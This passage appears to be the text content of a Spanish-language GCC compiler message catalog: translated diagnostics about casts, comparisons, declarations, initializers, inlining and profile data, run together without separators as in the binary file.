variablemente no contiene una declaración switch que terminala etiqueta case en la expresión de declaración no contiene una declaración switch que terminala etiqueta case no se encuentra dentro de una declaración switchel valor de la etiqueta `case' excede el valor máximo para el tipoel valor de la etiqueta `case' es menor que el valor mínimo para el tipolas etiquetas case no están ordenadas:la conversión agrega calificadores nuevos al tipo funciónla conversión descarta los calificadores del tipo del destino del punterola conversión de %qT a %qT incrementa la alineación requerida del tipo del destinola conversión de %qT a %qT pierde precisiónconversión desde una llamada a función de tipo %qT al tipo %qT que no coincideconversión de puntero a entero de tamaño diferentela conversión del tipo %qT al tipo %qT proscribe la constanciala conversión incrementa la alineación requerida del tipo del destinola conversión especifica el tipo matrizla conversión especifica el tipo funciónconversión a puntero desde un entero de tamaño diferenteconversión a tipo union desde un tipo no presente en unionla conversión de %qT a %qT no dereferencía a los punteroscambia el significado de %qD a partir de %q+#Dmatriz de tipo char inicializada con una cadena anchala suma de comprobación es %x en lugar de %xse escoge %qD sobre %qDse detectó una delegación de puntero circularla clase %qT no tiene ningún campo llamado %qDla clase %qT es implícitamente friend con sí mismala clase %qT se considerará casi vacía en una versión futura de GCCya existe la clase %qsla clase '%s' no tiene un método llamado '%s' que coincida con la firma '%s'el argumento de limpieza no es una funciónel argumento de limpieza no es un identificadorcerrando el fichero de dependencias %s: %mel modelo de código %qs no se admite en el modo de bit %sel modelo de código %s no admite el modo PICel argumento de collapse necesita una expresión entera constante positivaLos ciclos !$OMP DO no están perfectamente anidados en %Llos ciclos colapsados no están perfectamente anidadoscollect2 versión %scollect: leyendo %s
collect: recompilando %s
collect: reenlazando
collect: alterando %s en %s
coma al final de la lista de enumeradoresla opción de línea de comando "%s" es válida para %s pero no para %sla opción de línea de comando %qs no se admite en esta configuraciónla información de depuración de símbolos comunes no está estructurada como símbolo+desplazamientono es segura la comparacion de coma flotante con == o !=la comparación siempre es falsa debido al rango limitado del tipo de datosla comparación siempre es verdadera debido al rango limitado del tipo de datoscomparación entre %q#T y %q#Tcomparación entre puntero y enterocomparación entre expresiones enteras signed y unsignedcomparación entre los tipos %qT y %qTla comparación siempre es %dla comparación siempre es %d debido a la anchura del campo de bitla comparación siempre es falsa debido al rango limitado del tipo de datosla comparación siempre es verdadera debido al rango limitado del tipo de datoscomparación de punteros completos e incompletosla comparación de tipos Objective-C distintos carece de una conversiónla comparación de diferentes tipos de puntero carece de una conversióncomparación de un ~unsigned promovido con una constantecomparación de un ~unsigned promovido con unsignedla comparación de una expresión unsigned < 0 siempre es falsala comparación de una expresión unsigned >= 0 siempre es verdaderala comparación con una literal de cadena resulta en una conducta no especificadala comparación con una literal de cadena resulta en una conducta no especificadalas comparaciones como %<X<=Y<=Z%> no tienen su significado matemáticocompilación terminada debido a -Wfatal-errors.
compilación terminada.
desbordamiento de coma flotante compleja en la expresióndesbordamiento de entero complejo en la expresióncomplex inválido para %qsEl componente '%s' en %L ya se había definido por un constructor padre de tipo derivadola literal compuesta tiene tamaño variablela literal compuesta del tipo %qT que no es objetoespecificaciones de acceso en conflicto para el campo %qE, descartadoespecificaciones de acceso en conflicto para el método %q+D, descartadodeclaraciones de %q#D en conflictose especificaron tipos de devolución en conflicto para %q+#Despecificadores en conflicto en la declaración de %qsel nombre de la super clase %qs genera un conflictose especificaron atributos de tipo en conflicto para %q+#Dcalificadores de tipos en conflicto para %q+Dtipos en conflicto para %q+Dtipos en conflicto para la función interna %q+Dgenera un conflicto con la declaración interna %q#Dgenera un conflicto con la declaración de la función %q#Dgenera un conflicto con la declaración nueva con el enlace %qLgenera un conflicto con la declaración previa %q+#Dconst %qs no se puede declarar %<mutable%>const_double_split recibió una insn errónea:el argumento constante está fuera de rango para %qsse repite un valor lógico de constante en una declaración CASE en %Lno se recomputa la constante cuando cambia ADDR_EXPRel constructor para la clase extranjera %qT no puede ser un miembrono se admiten las prioridades de constructorlas prioridades de constructor desde 0 hasta %d están reservadas para la implementaciónlas prioridades de constructor deben ser enteros desde 0 hasta %d inclusivese usó la sintaxis de constructor, pero no se declaró un constructor para el tipo %qTlos constructores no se pueden declarar virtualla declaración continue no está dentro de un ciclola declaración continue no está dentro de un ciclo o switchcontrol de flujo enmedio del bloque básico %del control alcanza el final de una función que no es voidconversión de %q#T a %q#Tla conversión de %qT a %qT descarta los calificadoresla conversión de %qT a %qT es ambiguase solicitó la conversión desde %qT al tipo no escalar %qTla conversión carece de tipo al final del formatola conversión de %qE desde %qT a %qT es ambiguaconversión de un valor constante sin signo a un entero negativola conversión a %qT altera el valor constante %qTla conversión de %qT desde %qT puede alterar su valorla conversión de %qT desde %qT puede cambiar el signo del resultadola conversión de %qT desde la expresión booleanala conversión a %s%s nunca usará un operador de conversión de tipoconversión a tipo de dato incompletose solicitó conversión a un tipo que no es escalarse convierte %<false%> a tipo puntero para el argumento %P de %qDse convierte NULL a un tipo que no es punterose convierte de %qT a %qTla conversión de la función sobrecargada %qD al tipo %q#T es ambiguala conversión a %qT desde la lista del inicializador usaría el constructor explícito %qDse convierte al tipo %qT que no es puntero desde NULLse corrige los datos de análisis de perfil inconsistenteslista de salidas corrupta del ciclo %dcabeza corrupta de la lista de salidas del ciclo %dinformación de análisis de perfil corrupta: el borde de %i a %i excede la cuenta maximalinformación de análisis de perfil corrupta: el número de ejecuciones para el borde %d-%d debería ser %iinformación de análisis de perfil corrupta: el número de iteraciones para el bloque básico %d debería ser %iinformación de análisis de perfil corrupta: los datos de análisis de perfil no es consistente en flujoinformación de análisis de perfil corrupta: run_max * runs < sum_maxinformación de análisis de perfil corrupta: sum_all es menor que sum_maxno se puede cerrar el fichero de respuesta %sno se puede cerrar el fichero de respuesta temporal %sno se puede convertir %qE a %qTno se puede convertir el argumento de plantilla %qE a %qTno se puede encontrar un registro de vaciadono se puede encontrar un campo class$ en el tipo de interfaz java %qTno se puede encontrar el fichero de especificaciones %s
no se puede abrir el fichero de volcado %qs: %sno se puede abrir el fichero de respuesta %sno se puede abrir el fichero de respuesta temporal %sno se puede dividir insnno se puede escribir en el fichero de respuesta %sno se puede escribir en el fichero de respuesta temporal %sno se puede determinar el nombre del objetivo para la revisión de dependenciasno se puede ejecutar '%s': %sno se puede ejecutar '%s': %s: %sno se puede hacer unmap de pch_address_space: %mno coincide la cobertura para la función %qs al leer el contador %qsno coincide la cobertura para la función %u al leer los contadores de ejecuciónse ignora la diferencia de cobertura debido a -Wcoverage-mismatchcreado y usado con diferentes ABIscreado y usado con diferentes arquitecturas / ABIscreado y usado con diferente orden de bitscreado y usado con diferentes opciones de -fpiccreado y usado con diferentes opciones de -fpiecreado y usado con diferentes opciones de '%s'creando %sse crea la matriz de %qTse crea la matriz de %qT, la cual es un tipo de clase abstractase crea la matriz con tamaño negativo (%qE)se crea un puntero a función miembro del tipo %qT que no es clasese crea un puntero al miembro del tipo %qT que no es clasese crea un puntero al miembro de tipo voidse crea un puntero al miembro de referencia de tipo %qTla región crítica puede no estar bien anidada dentro de una región crítica con el mismo nombreel espacio de nombres actual %qD no contiene al espacio de nombres %qD usado con frecuenciael área de datos de %q+D genera un conflicto con la declaración previadeclaración de datosla definición de datos no tiene tipo o clase de almacenamientoel dato miembro %qD no puede ser una plantilla miembrolos datos miembro pueden no tener el tipo modificado variablemente %qTel tipo de datos de %q+D no es adecuado para un registroel formato de depuración "%s" genera un conflicto con una selección previael nivel de salida de depuración %s es demasiado elevadodepuración: no se admite la coma flotante decimal para este objetivola declaración %qD no declara nadala declaración no declara nadaexiste la declaración para el parámetro %q+D pero no hay tal parámetrodeclaración de la variable %<extern%> %q+D en la declaración inicial del ciclo %<for%>la declaración de %q#Dla declaración de %q#D tiene %<extern%> y está inicializadala declaración de %q#D no tiene inicializadoresla declaración de %q#D fuera de la clase no es una definiciónla declaración de %q#D oscurece un parámetroredeclaración de %q#D con enlazado de lenguaje Cla declaración de %q+#Dla declaración de %q+D oscurece una función internala declaración de %q+D oscurece a una declaración globalla declaración de %q+D oscurece un parámetrola declaración de %q+D oscurece a una declaración local previala declaración de %q+D oscurece a una declaración previa que no es variabledeclaración de %q+D con atributo noinline después de la declaración inline declaración de %q+D sin enlazado después de una declaración externdeclaración de %qD como %sdeclaración de %qD como miembro de %qTla declaración de %qD como una matriz multidimensional debe tener límites para todas las dimensiones excepto la primerala declaración de %qD como algo que no es funcióndeclaración de %qD como algo que no es miembrola declaración de %qD no está en un espacio de nombres alrededor de %qDla declaración de %qD oscurece a una declaración globalla declaración de %qD oscurece a un miembro de 'this'la declaración de %qD oscurece a una declaración local previala declaración de %qF arroja excepciones diferentesla declaración de %qs como una matriz de funcionesla declaración de %qs como una matriz de voidsla declaración de la función C %q#D genera un conflicto conla declaración del espacio de nombres %qD genera un conflicto condeclaración de %q+D que no es variable en la declaración inicial del ciclo %<for%>declaración de la variable static %q+D en la declaración inicial del ciclo %<for%>redeclaración de la plantilla %q#Dfalta el id del declarador; se utiliza la palabra reservada %qDdecremento de puntero a estructura desconocidadecremento de la ubicación de sólo lectura %qEdecremento del miembro de sólo lectura %qDdecremento de la variable de sólo lectura %qDla deducción de auto de una lista inicializadora encerrada entre llaves requiere #include <initializer_list>el argumento por defecto %qE usa la variable local %qDel argumento por defecto de %q#D tiene tipo %qTel argumento por defecto para el parámetro del tipo %qT tiene el tipo %qTargumento por defecto dado para el parámetro %d de %q#Dno coincide el argumento por defecto en la resolución de sobrecargafalta el argumento por defecto para el parámetro %P de %q+#Dse especificó un argumento por defecto en la especialización explícitano se permiten los argumentos por defecto en la declaración de la especialización friend de la plantilla %qDdefiniendo la especialización explícita %qD en la declaración friendla definición en el bloque %i no domina el uso en el bloque %idefinición en el bloque %i después del usola definición de %q#D se marca como %<dllimport%>la definición de %q#T dentro de la lista de parámetros de plantillala definición de %qD no está en un espacio de nombres que contenga a %qTla definición de %qD declarado implícitamentela definición del dato miembro static %q+D de la clase dllimportadase proporcionó una definición para la instanciación explícitase borró la definición de %qDse borró la función %q+Del borrado de %qT está indefinidose borra la matriz %q#Del nombre dependiente %qE se decodifica como un no tipo, pero la instanciación genera un tipoconversión obsoleta de una constante de cadena a %qTtipo de devolución covariante obsoleto para %q+#Duso obsoleto del argumento por defecto para el parámetro de una no funciónlos punteros dereferenciados deben tener un nombre o una etiqueta de símbolodeferenciando el puntero %<void *%>la dereferencia del puntero %qD rompe las reglas de alias estrictopuntero deferenciado a tipo de dato incompletola dereferencia de punteros %<type-punned%>  puede romper las reglas de alias estrictola dereferencia de punteros %<type-punned%> romperá las reglas de alias estrictodeclaración de tipo derivadounion derivada %qT inválidase declaró el destructor %qD como una plantilla miembroel destructor no puede ser una función miembro de tipo staticel destructor para %qs no debe se ejecutado porel destructor para la clase extranjera %qT no puede ser un miembrono se admiten las prioridades de destructorlas prioridades de destructor desde 0 hasta %d están reservadas para la implementaciónlas prioridades de destructor deben ser enteros desde 0 hasta %d inclusivelos destructores no pueden ser cv-calificadoslos destructores no pueden tener parámetrosbase directa %qT inaccesible en %qT debido a ambigüedadtipo Objective-C distinto en la devolucióndivisión por cerono se admite multilibel dominador de %d debería ser %d, no %del dominador de %d en un estado desconocidodebido a diferentes especificaciones de excepciones%<const%> duplicado%<restrict%> duplicado%<volatile%> duplicado%qE duplicadovalor case duplicado (o con solapamiento de rangos)atributo ConstantValue duplicado para el campo '%s'nombre de operando asm %qs duplicadotipo base duplicado %qT inválidovalor de case duplicadodeclaración duplicada para el protocolo %qsdeclaración duplicada del método %<%c%s%>instanciación explícita duplicada de %q#Dinstanciación explícita duplicada de %q#Tinicialización duplicada de %qDdeclaración de interfaz duplicada para la categoría %<%s(%s)%>declaración de interfaz duplicada para la clase %qsetiqueta %qD duplicadadeclaración duplicada de la etiqueta %qEmiembro %q+D duplicadoinicializador duplicadono se encontró la dependencia dinámica %sdynamic_cast de %q#D a %q#T nunca podrá tener éxitoel borde %s->%s no tiene un call_stmt correspondienteel borde de %d a %d se debe marcar como irreducibleel borde de %d a %d no se debe marcar como irreduciblepuntos de borde para una declaración errónea:operación binaria elementallos argumentos de la función elemental en %C no cumplenprocedimiento elementalelementos de la matriz %q#D con tipo de dato incompletoelementos de la matriz %q#T tienen tipo de dato incompleto%<\0%> incrustado en el formatoemitiendo un operando PIC, pero el registro PIC aún no está preparadose emite el insn de microcódigo condicional %s	[%s] #%dse emite el insn de microcódigo %s	[%s] #%ddeclaración vacíauna declaración vacía con especificadores de clase de almacenamiento no redeclara la etiquetauna declaración vacía con calificador de tipo no redeclara la etiquetarango de índices vacío en el inicializadorprecisión izquierda vacía en el formato %sprecisión vacía en el formato %sse especificó un rango vacíoinicializador escalar vacíohabilitar el soporte de rastreo hacia atrás sólo tiene significado cuando se compila para el Thumbhabilitar el soporte de trabajo interno de llamado sólo tiene significado cuando se compila para el Thumbhabilitar el soporte de trabajo interno de llamado sólo tiene significado cuando se compila para el Thumblas plantillas de clase contenedoras no son explícitamente especializadasel insn final %d para el bloque %d no se encontró en el flujo insntipos enumeral y no enumeral en la expresión condicionalno coincide el enumeral en la expresión condicional: %qT vs %qTlos valores de enumeración exceden el rango del entero más grandeel valor de enumerador %E es demasiado grande para el tipo subyacente %<%T%>el valor de enumerador para %qD no es una constante enterael valor de enumerador para %qE no es una constante enterano se definió la variable de ambiente "%s"no se definió la variable de ambiente DJGPPla variable de ambiente DJGPP apunta al fichero corrupto '%s'la variable de ambiente DJGPP apunta al fichero faltante '%s'error al cerrar %s: %merror en los argumentos para la función de especificación '%s'error en la entrada #%d del conjunto de constantes
error al analizar el conjunto de constanteserror al decodificar el conjunto de constantes
error al decodificar los camposerror al decodificar los campos
error al decodificar los atributos finaleserror al decodificar los atributos finales
error al decodificar los métodoserror al decodificar los métodos
error al leer %s desde el fichero ziperror al escribir %qserror al escribir a %s: %merror: manejo de excepciones desactivado, use -fexceptions para activarla excepción del tipo %<%T%> será atrapadaexceso de elementos en el inicializador de matrizexceso de elementos en el inicializador de matriz de caracteresexceso de elementos en el inicializador de escalarexceso de elementos en el inicializador de structexceso de elementos en el inicializador de unionexceso de elementos en el inicializador de vectorcuentas de ejecución estimadasfalló expand_binop en movsi gotel patrón de expansión %<%E%> no contiene paquetes de argumentoel patrón de expansión %<%T%> no contiene paquetes de argumentose esperaba %<#pragma omp section%> o %<}%>se esperaba una cláusula %<#pragma omp%>se esperaba %<(%>se esperaba %<(%> o fin de línease esperaba %<+%>, %<*%>, %<-%>, %<&%>, %<^%>, %<|%>, %<&&%>, o %<||%>se esperaba %<,%> o %<;%>se esperaba %<,%> o %<}%>se esperaba %<,%>, %<;%> o %<}%>se esperaba %<:%> o %<...%>se esperaba %<:%>, %<,%>, %<;%>, %<}%> o %<__attribute__%>se esperaba %<;%>se esperaba %<=%>se esperaba %<=%>, %<,%>, %<;%>, %<asm%> o %<__attribute__%>se esperaba %<none%> o %<shared%>se esperaba %<{%>se esperaba %<}%> antes de %<else%>se esperaban %d niveles de parámetros de plantilla para %q#D, se obtuvieron %dse esperaba %qT pero el argumento es de tipo %qTse esperaba [error|warning|ignored] después de %<#pragma GCC diagnostic%>se esperaba una cadena después de %<#pragma message%>se esperaba un objeto SSA_NAMEse esperaba un nombre de clasese esperaba una declaraciónse esperaban especificadores de declaraciónse esperaban especificadores de declaración o %<...%>se esperaba una expresiónse esperaba un identificadorse esperaba un identificador o %<(%>se esperaba un identificador o %<*%>se esperaba una expresión enterase esperaba una declaración de iteración o una inicializaciónse esperaba un nombre calificado en la declaración friend para el constructor %qDse esperaba un nombre calificado en la declaración friend para el destructor %qDse esperaba una lista de calificadores-especificadoresse esperaba una declaraciónse esperaba una cadena literalcosto de la operación de llamada relativa a operaciones aritméticas ordinariasgoto explícito al final del bb %dinstanciación explícita de %q#Dinstanciación explícita de %q#T antes de la definición de la plantillainstanciación explícita de %qD pero no hay una definición disponibleinstanciación explícita de %qD en el espacio de nombres %qD (el cual no incluye el espacio de nombres %qD)instanciación explícita de %q#D que no es plantillainstanciación explícita del tipo %qT que no es plantillacalificación explícita en la declaración de %qDespecialización explícita en el ámbito %qD que no es espacio de nombresespecialización explícita de %qD después del primer usola especialización explícita de %qD se debe preceder con %<template <>%>instanciación explícita de %qT que no es plantillaexpr en la asignación !$OMP ATOMIC var = var op expr debe ser escalar y no puede referenciar a var en %Lno se puede usar la expresión %qE del tipo de clase abstracta %qT en las expresiones throwla declaración de la expresión tiene tipo de dato incompletolos registros extendidos no tiene mitades superioresla declaración extern de %q#D no coincidedeclaración extern de %q+D después de una declaración sin enlazadose requiere enlazado externo para el símbolo %q+D debido al atributo %qs<;%> extragrupo extra de llaves al final del inicializadorelementos extras en el inicializador escalarborde de salida extra %d->%dcalificación extra %<%T::%> en el miembro %qsse especificó un punto y coma extra en la definición del métodose especificó un punto y coma extra en un struct o unioncalificadores de tipo extra en el argumento de formato (argumento %d)argumento extraño para la opción '%s'no se puede encontrar la clase '%s'no se obtuvo el estado de salidano se obtuvieron los tiempos de procesofalló al reclamar una función innecesariafalla en la redeclaración de %q+D: el símbolo dllimportado carece de enlazado externofalla al simplificar la referencia de subcadena en la declaración DATA en %Lborde de caída después de una sentencia de control en bb %dborde de caída después del salto incondicional %iel borde de caída cruza el límite de la sección (bb %i)caida para salir del bb %dlos atributos fastcall y cdecl no son compatibleslos atributos fastcall y regparm no son compatibleslos atributos fastcall y stdcall no son compatibleserror fatal: fclose %scampo %q+#D con el mismo nombre que la claseel campo %q+D inválidamente se declara como un tipo de funciónel campo %q+D inválidamente se declara como un tipo de métodoel campo %qD tiene tipo de dato incompletoel campo %qs se declaró como una funciónel campo %qs tiene tipo de dato incompletono se encontró el campo %qsel inicializador del campo no es constanteel nombre del campo no está en el inicializador de record o unionprecisión del campoanchura de campoanchura de campo en formato printfanchura de campo en formato scanfanchura de campo en formato strfmonanchura de campo en formato strftimela declaración del ámbito de fichero de %qs especifica %<auto%>la declaración del ámbito de fichero de %qs especifica %<register%>carácter de rellenocarácter de relleno en el formato de strfmonfind_enum(): No se encontró el enumeradorse encontró la función fini en el objeto %sel primer argumento de %q+D debe ser %<int%>el primer argumento de %<__builtin_choose_expr%> no es una constanteel primer argumento para %<va_arg%> no es del tipo %<va_list%>fix_sched_param: parámetro desconocido: %sdesbordamiento de coma fija en la expresiónno se admiten tipos de coma fija para este objetivola constante de coma flotante excede el rango de %qTconstante de coma flotante mal usadaconstante de coma flotante truncada a cerola constante de coma flotante no es un operando inmediato válidodesbordamiento de coma flotante en la expresióninsn de control de flujo dentro de un bloque básicofold check: el árbol original cambió por un plieguefopen %sse esperaba una declaración forpara la declaración de plantilla %q+Del formato %q.*s espera el tipo %<%T%s%>, pero el argumento %d es de tipo %qTel formato %q.*s espera el tipo %<%s%s%>, pero el argumento %d es de tipo %qTno se usa el argumento de formato %d antes de usar el argumento %d en el formato de estilo-$se usa más de una vez el argumento de formato %d en el formato %sel formato es una cadena de carácter anchael formato no es una cadena literal y no tiene argumentos de formatoel formato no es una cadena literal, no se revisaron los tipos de argumentoel formato no es una cadena literal, no se revisó la cadena de formatoel argumento de la cadena de formato se encuentra después de los argumentos que recibirán formatoel argumento de la cadena de formato no es del tipo cadena de textola cadena de formato tiene un número de operadores inválidose forma %s para referenciar al tipo %qTse forma la referencia a voidse encontró %<-%s%> en lugar de %<+%s%> en el(los) protocolo(s)se encontró un nombre por defecto con una declaración de definición que no está vacíase encontró una definición real para uno que no es registrose encontró una definición virtual para un registro GIMPLEse encontró un SSA_NAME que fue liberado en el conjunto librese encontró un case por defecto que no está al inicio del vector caseel completado por software de fp requiere una opción -mtrap-precision=ifr30_print_operand: código %%F inválidofr30_print_operand: código %%x inválidofr30_print_operand: operando inválido para el código %%Afr30_print_operand: MEM sin manejarfr30_print_operand: código desconocidofr30_print_operand: no se reconoce el código %%Bfr30_print_operand: no se reconoce el código %%bfr30_print_operand: no se reconoce el código %%pfr30_print_operand_address: dirección sin manejarel tamaño de marco de %qs es el tamaño de marco de la función %qs es el tamaño del marco es demasiado grande para una revisión confiable de la pilala declaración friend %q#D declara una función que no es plantillauna declaración friend %qD en una clase local sin declaración previala declaración friend no está en una definición de clasela declaración friend requiere una llave de clase, p.e. %<friend %#T%>la declaración friend requere una llave de clase, p.e. %<friend class %T::%D%>de la declaración previa de %q+Fdesde esta ubicaciónfrv_print_operand: código desconocidola función %q#D se inicializa como una variablela definición de la función %q+D se marca como dllimportla función %q+D se define después de una declaración previa como dllimport: se descarta el atributose redeclara la función %q+D como inlinese redeclara la función %q+D con el atributo noinlinela función %q+F nunca se puede incluir en línea porque contiene un goto calculadola función %q+F nunca puede ser incluída en línea porque se suprime al usar -fno-inlinela función %q+F nunca se puede incluir en línea porque recibe un goto que no es localla función %q+F nunca se puede incluir en línea porque guarda direcciones de etiqueta local en una variable estáticala función %q+F nunca se puede incluir en línea porque usa __builtin_return o __builtin_apply_argsla función %q+F nunca se puede incluir en línea porque usa alloca (forzar usando el atributo always_inline)la función %q+F nunca puede ser incluída en línea porque utiliza atributos que generan conflictos con la inclusión en líneala función %q+F nunca se puede incluir en línea porque contiene un goto que no es localla función %q+F nunca se puede incluir en línea porque usa setjmpla función %q+F nunca se puede incluir en línea porque usa manejo de excepciones setjmp-longjmpla función %q+F nunca se puede incluir en línea porque usa listas variables de argumentosla función %q+F nunca se puede incluir en línea porque usa variables de tamaño variablela función %qD se declaró virtual dentro de un unionla función %qD está inicializada como una variablela función %qs no se puede declarar %<mutable%>el cuerpo de la función no está disponiblela llamada a la función tiene valor agregadofunción llamada a través de un tipo de dato que no es compatiblela declaración de la función no es un prototipola función declarada %<noreturn%> tiene una declaración %<return%>la definición de la función se declaró como %<__thread%>la definición de la función se declaró como %<auto%>la definición de la función se declaró como %<register%>la definición de la función se declaró como %<typedef%>la definición de la función no declara parámetrosla definición de la función tiene un tipo de devolución void calificadola función no devuelve valores de tipo cadenala función puede ser un candidato posible para el atributo de formato %qsla función no se consideró para la inclusión en líneala función no se declaró inline y el tamaño del código podría crecerla función no se puede incluir en líneala función no es candidata para inlineel tipo de devolución de función no puede ser funciónlos tipos de devolución de función no son compatibles debido a %<volatile%>la función devuelve una funciónla función devuelve una matrizla función devuelve la dirección de una variable localla función devuelve un agregadono se permite la especialización parcial de la función de plantilla %qDlos tipos de función no son totalmente compatibles en ISO Cel ámbito de la función %qs es implícitamente auto y declarado %<__thread%>soporte para function_profilersoporte para function_profiler para MMIXcontrolador gcc versión %s %sejecutando gcc version %s
gcc versión %s %s
gcov %s%s
el CPU generic sólo se puede usar para %stune=%s %sel código de thunk genérico falló para el método %q#D que utiliza %<...%>obteniendo el límite del tamaño máximo del fichero core: %mgfc_conv_constant_to_tree(): tipo inválido: %sgfc_trans_code(): Código de declaración erróneogfortran no admite -E sin usar -cppgfortran: Sólo se permite una opción -Jrevisión gimple: se esperaba %s(%s), se tiene %s(%s) en %s, en %s:%dse estableció gimple_bb (phi) a un bloque básico erróneose estableció gimple_bb (stmt) a un bloque básico erróneofalló la gimplificaciónno se admiten constructores globales en este objetivola declaración global %q+#Dno se admiten los destructores globales en este objetivose usó la variable de registro global %qD en la función anidadase usó la variable de registro global %qs en la función anidadala variable de registro global después de una definición de funciónla variable de registro global tiene valor inicialse ha interceptado una asignación de variable global/estáticase obtuvieron %d parámetros de plantilla para %q#Dse obtuvieron %d parámetros de plantilla para %q#Tel destino de goto no es una etiqueta ni un punterogp es constante (pero hay save/restore de gp en llamadas indirectas)gp_offset (%ld) o end_offset (%ld) es menor a cerose debe reubicar el PCHcódigo MIPS16 de coma flotante hard para ABIs diferentes de o32 y o64la cabeza insn %d para el bloque %d no se encontró en el flujo insncuánto puede crecer la unidad de compilación dada a causa de la inclusión en línea (en porcentajes)cuánto puede crecer la unidad de compilación dada a causa de la propagación constante interprocedural (en porcentajes)coma flotante iWMMXt y de hardwareia64_print_operand: código desconocidoel identificador %<%s%> se convertirá en una palabra clave en C++0xel identificador %qs causa conflictos con la palabra clave de C++si se alcanza este código, el programa abortaráse descarta %<#pragma align%> para %q+D que está alineado explícitamentese descartan los calificadores %qV agregados al tipo de función %qTse descarta -fschedule-insns debido a un error de manejo de excepcionesse descarta el especificador asm para la variable local que no es estática %q+Dse descartan los atributos aplicados al %qT después de la definiciónse descartan los atributos aplicados al tipo de clase %qT fuera de la definiciónse descartan los atributos aplicados al tipo dependiente %qT sin una declaración asociadase descarta el directorio duplicado "%s"
se descarta el #pragma longcall malformadose descarta el directorio inexistente "%s"
se descartan los atributos packed por el campo %q+#D sin empacar que no es PODse descarta la opción desconocida %q.*s en %<-fdump-%s%>se especificó un tipo agregado %qs ilegal para la variable de instancia %qsse especificó un tipo de referencia ilegal para la variable de instancia %qsdeclaración implícita de la función %qElos registros extraídos implícitamente deben ser agrupados en la parte superior de la pilaEND DO implícitorestricción imposible en %<asm%>es imposible la restricción de registros en %<asm%>en %s, en %s:%den C++98 %qD debe ser inicializado por un constructor, no por %<{...}%>en el bloque básico %d:en la declaración %q+Dal pasar el argumento %P de %q+Den la sentenciaacumulador inapropiado para %qsla cuenta de borde de entrada no coincide con el número de argumentos PHIdeclaración implícita incompatible de la función interna %qDdeclaración implícita incompatible de la función %qDtipo incompatible para el argumento %d de %qEtipos incompatible en la asignación de %qT a %qTtipos incompatible en la asignación al tipo %qT del tipo %qTtipos incompatibles en la inicialización del tipo %qT usando el tipo %qTtipos incompatible al devolver el tipo %qT pero se esperaba %qTopción '%s' incompletaimplementación incompleta de la categoría %qsimplementación incompleta de la clase %qsel tipo incompleto %qT no tiene al miembro %qDno se permite el tipo incompleto %qTespecificación de instancia de variable inconsistenterestricciones de operandos inconsistentes en un %<asm%>entrada incorrecta en label_to_block_map.
insn incorrecta:compartición incorrecta de nodos de árbolincremento de puntero a estructura desconocidaincremento de la ubicación de sólo lectura %qEincremento del miembro de sólo lectura %qDincremento de la variable de sólo lectura %qDEl índice en la dimensión %d está fuera de los límites en %Lvalor de índice en lugar del nombre del campo en el inicializador de unionse encontró la función init en el objeto %sla inicialización descarta los calificadores del tipo del destino del punteroinicialización desde un tipo Objective-C distintoinicialización desde un tipo de puntero incompatibleel lado izquierdo de la inicialización puede ser un candidato para un atributo de formatola inicialización crea un entero desde un puntero sin una conversiónla inicialización crea un puntero desde un entero sin una conversiónla inicialización hace que la función calificada apunte desde una no calificadainicialización de un miembro de matriz flexibleinicialización de un miembro de matriz flexible en un contexto anidadocadena de inicialización truncada para coincidir con la variable en %Lcampo inicializado sobreescritocampo inicializado con efectos colaterales sobreescritosinicializado desde %qEinicializado desde aquíla variable inicializada %q+D se marcó como dllimportel elemento inicializador no es calculable al momento de la cargael elemento inicializador no es una constanteel inicializador termina prematuramenteel inicializador no puede determinar el tamaño de %q+Del inicializador no puede determinar el tamaño de %qDel inicializador para %qT debe estar encerrado entre llavesel inicializador para un valor de coma flotante no es una constante de coma flotanteel inicializador para un valor entero/coma fija es demasiado complicadoinicializador inválido para el miembro static con constructorse especificó un inicializador para el método %q+D que no es virtualse especificó un inicializador para la función miembro static %qDla cadena del inicializador para la matriz de caracteres es demasiado largaCódigo inline para invalidar las entradas de caché de instruciones después de establecerer los trampolines de funciones anidadasdeclaración inline de %qD después de una declaración con atributo noinlinela función inline %q+D no se puede declarar weakla función inline %q+D se declara como dllimport: se descarta el atributose declara la función inline %q+D pero nunca se definese le dió a la función incluída en línea %q+D un atributo noinlinela función inline %q+D se declara como dllimport: se descarta el atributose usó la función inline %q+D pero nunca se definese estableció el puntero inlined_to, pero no se encontraron predecesoresel puntero inlined_to está malel puntero inlined_to se refiere a sí mismose estableció el puntero inlined_to para llamantes no-inlinefalló la inclusión en línea en la llamada a %q+F: %sla restricción de operando de entrada contiene %qcen insn %d el puntero del bloque básico es %d, debe ser %den insn %d al final del bb %d tiene un bloque básico que no es NULLen insn %d en el encabezado del bb %d tiene un bloque básico que no es NULLinsn %d está dentro del bloque básico %d pero block_for_insn es %iinsn %d está dentro del bloque básico %d pero block_for_insn es NULLinsn %d está en múltiples bloques básicos (%d y %d)insn %d fuera de los bloques básicos tiene un campo bb que no es NULLla insn no satisface sus restricciones:insn fuera del bloque básicoinstalar: %s%s
la variable de instancia %qs se accedió en el método de la clasela variable de instancia %qs es de tamaño desconocidola variable de instancia %qs es %s; esto será un error severo en el futurola variable de instancia %qs se declaró %sla variable de instancia %qs se declaró privadase ha interceptado una asignación de variable de instanciainstanciación de %q+D como tipo %qTla instrucción nunca se ejecutano se admite la calendarización de instrucciones en este objetivoargumentos insuficientes para la función sobrecargada %smatriz de enteros inicializada con una cadena ancha incompatiblematriz de enteros inicializada con una cadena que no es anchala constante entera es demasiado grande para el tipo %qsEl entero kind=8 no está disponible para la opción -fdefault-integer-8desbordamiento entero en la expresiónla expresión integral %qE no es una constantela precisión del tipo de resultado integral no coincide con el tamaño del campo de BIT_FIELD_REFno se han implementado las optimizaciones intermódulos para C++la interfaz %qs no tiene una disposición de cadena constante válidalos atributos de visibilidad internal y protected no se admiten en esta configuración; se descartanerror interno del compilador.  Dirección errónea:error interno del compilador.  Desplazamiento incorrecto:error interno del compilador.  Modo desconocido:error interno del compilador: falla interna de consistenciaerror interno - nombre Utf8 inválidoerror interno: registro erróneo: %derror interno: cris_side_effect_mode_ok con operandos erróneoserror interno: insn colateral afectando al efecto principalaborto interno de gcc en %s, en %s:%dno se pueden codificar las Rutinas de Servicios de Interrupción en el modo Thumbinterrupt_thread sólo está disponible en fidovariable intrínseca que no es un procedimiento#pragma %s inválido%%-código inválidooperando %%A inválidooperando %%B inválidovalor %%C inválidovalor %%D inválidovalor %%E inválidovalor %%F inválidovalor %%G inválidovalor %%H inválidocódigo %%J inválidovalor %%J inválidovalor %%K inválidovalor %%L inválidovalor %%M inválidovalor %%N inválidovalor %%O inválidooperando %%P inválidovalor %%P inválidovalor %%R inválidovalor %%S inválidovalor %%T inválidovalor %%U inválidooperando 